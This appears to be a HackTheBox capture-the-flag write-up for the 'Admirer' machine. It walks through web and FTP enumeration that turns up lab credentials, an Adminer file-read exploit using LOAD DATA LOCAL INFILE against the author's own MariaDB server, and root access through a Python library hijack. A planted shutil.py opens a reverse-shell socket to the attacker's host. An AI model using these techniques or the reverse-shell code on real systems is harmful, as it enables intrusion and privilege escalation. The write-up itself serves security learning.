0. Preface

This box is pretty frustrating due to the amount of rabbit holes I got stuck in, but at least I learnt something new from this. Moral of the story - don’t always rely on one tool or wordlist.

In this box, we will be tackling:

  1. Getting stuck in rabbit holes.
  2. Exploiting Adminer
  3. Hijacking Python libraries

1. Preliminary NMAP Scan

sudo nmap -sC -sV -oN nmap.txt -v


Only ports 21, 22 and 80 are open. Let’s first check out the web server.

2. Web Server Enumeration #1


Seems like a gallery. Let’s see what we can enumerate from this.


Looking in the robots.txt file, we see that there is an entry to disallow robots from crawling /admin-dir/.

Trying to access the page gives us a 403, so let’s run gobuster on it. Notice from robots.txt that this folder contains “personal contacts and creds”. Let’s use gobuster on /admin-dir/, with the .txt extension to also look for text files.


gobuster dir -u admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt


And we found something. Let’s take a look at those files.



Seems like we got credentials to FTP, using ftpuser:%n?4Wz}R$tTF7.

3. FTP Enumeration

Logging into the FTP server, we see two files in there. Let’s download both of them.


(🐇) We don’t really get much using strings on dump.sql. Moving on to the html.tar.gz.


7z x html.tar.gz
7z x html.tar


Let’s do some more enumeration on the files inside. There’s tons to go through.

(kinda 🐇) Looking in index.php we get what looks like database credentials to a mysql database.


(🐇) Looking in /w4ld0s_s3cr3t_d1r/credentials.txt, we get another bunch of credentials. Looks similar to the credentials.txt we found on the server earlier.


(kinda 🐇) Looking in /utility-scripts/db_admin.php, we get more database credentials and a note that says to find a “better open source alternative”.


4. Web Server Enumeration #2

(🐇) Let’s next try to access the utility-scripts directory on the web server to see if it exists.


(🐇) Then, try to access info.php. We get phpinfo(). From here, we can see that the webserver is running Apache2, PHP 7.0.33.


(🐇) Moving on to admin_tasks.php, we get something that allows us to run remote scripts on the server. (🐇🐇🐇🐇🐇🐇🐇🐇)


Stuck at this point, I even tried to SSH to the server using the ftpuser credentials we found earlier.


After a lot of hints from the HTB forums I found Adminer running on the server.


5. Exploiting Adminer

Googling for Adminer netted us an exploit. This allows us to read files on the server where Adminer is installed. Let’s set up the exploit.

We need a MariaDB/MySQL instance for this to work. Fortunately, MariaDB already comes preinstalled on Kali. Spin it up using systemctl start mariadb, then sudo mariadb or sudo mysql to access it.

Note: I had to reinstall MariaDB entirely because it wasn’t starting up at all.


Inside the database, create a new user that is allowed to login from anywhere and grant it privileges to access everything.

GRANT ALL PRIVILEGES ON * . * TO 'kali'@'%';

Next, we need to allow external connections to our MariaDB instance. By default, MariaDB only listens on

Open /etc/mysql/mariadb.conf.d/50-server.cnf with a text editor, then change the bind-address value to


Restart MariaDB using sudo systemctl restart mariadb, then check that server is listening on using netstat -antp | grep 3306


Back to Adminer, login to Kali’s MariaDB server using the user created earlier.



Next, create a new database.


Recall previously in the FTP directory that we found the index.php file with a MySQL username and password?

Let’s try to read the live version of that file.

First, we need to start a Wireshark session capturing on the HTB VPN tunnel.

Then back on Adminer, run the following commands to try to insert index.php into the database we created.

LOAD DATA LOCAL INFILE '/var/www/html/index.php'
INTO TABLE testdb.test

Once done, we see some traffic on WireShark from the remote server. We follow each TCP stream until we find the TCP stream for index.php.


We got our next set of credentials: waldo:&<h5b~yK3F#{PaPB&dA}{H>

Let’s SSH to the server and grab the user flag.


6. Python Library Hijacking and Root

Now, let’s start to enumerate. Running sudo -l, we see that waldo is able to set environment variables while running /opt/scripts/admin_tasks.sh as the root user.


Looking at the admin_tasks.sh script, we see that it calls for a backup.py script in the same directory.


Let’s take a closer look at backup.py.


After a bit of searching, I managed to find this blog post explaining Python library hijacking, as well as this Medium article (specifically Scenario 3) explaining how to do it in more detail.

To exploit this, we need to create a script named shutil.py in a directory, and set the $PYTHONPATH environment variable to point to this directory instead of the real Python directory.

Our script will look like this:


import os
import pty
import socket

lhost = ""
lport = 8888

def make_archive(a,b,c):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((lhost, lport))

To roughly break down how this works:

  1. backup.py will import a function called make_archive() from a python module named shutil.
  2. As the make_archive() in backup.py requires three arguments, our make_archive() will also need to have three (dummy) arguments.
  3. Once backup.py calls for the make_archive() function and is redirected here, a reverse shell will run connecting back to our Kali machine.

Do remember to replace the lhost and lport with the correct IP addresses/port number for the reverse shell.

Now, we can set the $PYTHONPATH environment variable to point to waldo’s home directory, and run admin_tasks.sh. Select option 6 to run the backup.py script.

sudo PYTHONPATH=/home/waldo/ /opt/scripts/admin_tasks.sh


And we got root.